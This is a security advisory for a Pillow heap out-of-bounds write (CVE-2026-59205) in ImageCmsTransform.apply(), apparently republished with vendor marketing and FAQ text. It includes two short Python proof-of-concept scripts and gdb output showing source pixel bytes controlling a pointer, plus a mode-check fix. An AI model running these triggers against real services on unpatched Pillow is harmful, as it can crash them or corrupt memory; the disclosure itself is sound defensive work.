Summary
Pillow: Controlled heap out-of-bounds write in Pillow ImageCmsTransform.apply() via output mode mismatch
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
If imOut is provided, Pillow does not check:
im.mode == self.input_mode
imOut.mode == self.output_mode
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMSTYPE_RGBA_8, which writes 4 bytes per pixel:
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.
For width 4096:
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
Observed locally on Pillow 12.3.0.dev0:
before
after
free(): invalid next size (normal)
Aborted (core dumped)
Controlled overwrite evidence PoC:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
Run under gdb:
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
Observed on Pillow 12.3.0.dev0:
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel patternb"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed toImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
A write operation targets a memory location beyond the intended buffer boundary. Typical impact: memory corruption, crash, or arbitrary code execution.
CVE-2026-59205 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (12.3.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate modes before calling into the native transform:
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().
Frequently Asked Questions
- What is CVE-2026-59205? CVE-2026-59205 is a high-severity out-of-bounds write vulnerability in pillow (pip), affecting versions < 12.3.0. It is fixed in 12.3.0. A write operation targets a memory location beyond the intended buffer boundary.
- How severe is CVE-2026-59205? CVE-2026-59205 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pillow are affected by CVE-2026-59205? pillow (pip) versions < 12.3.0 is affected.
- Is there a fix for CVE-2026-59205? Yes. CVE-2026-59205 is fixed in 12.3.0. Upgrade to this version or later.
- Is CVE-2026-59205 exploitable, and should I be worried? Whether CVE-2026-59205 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59205 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59205? Upgrade
pillowto 12.3.0 or later.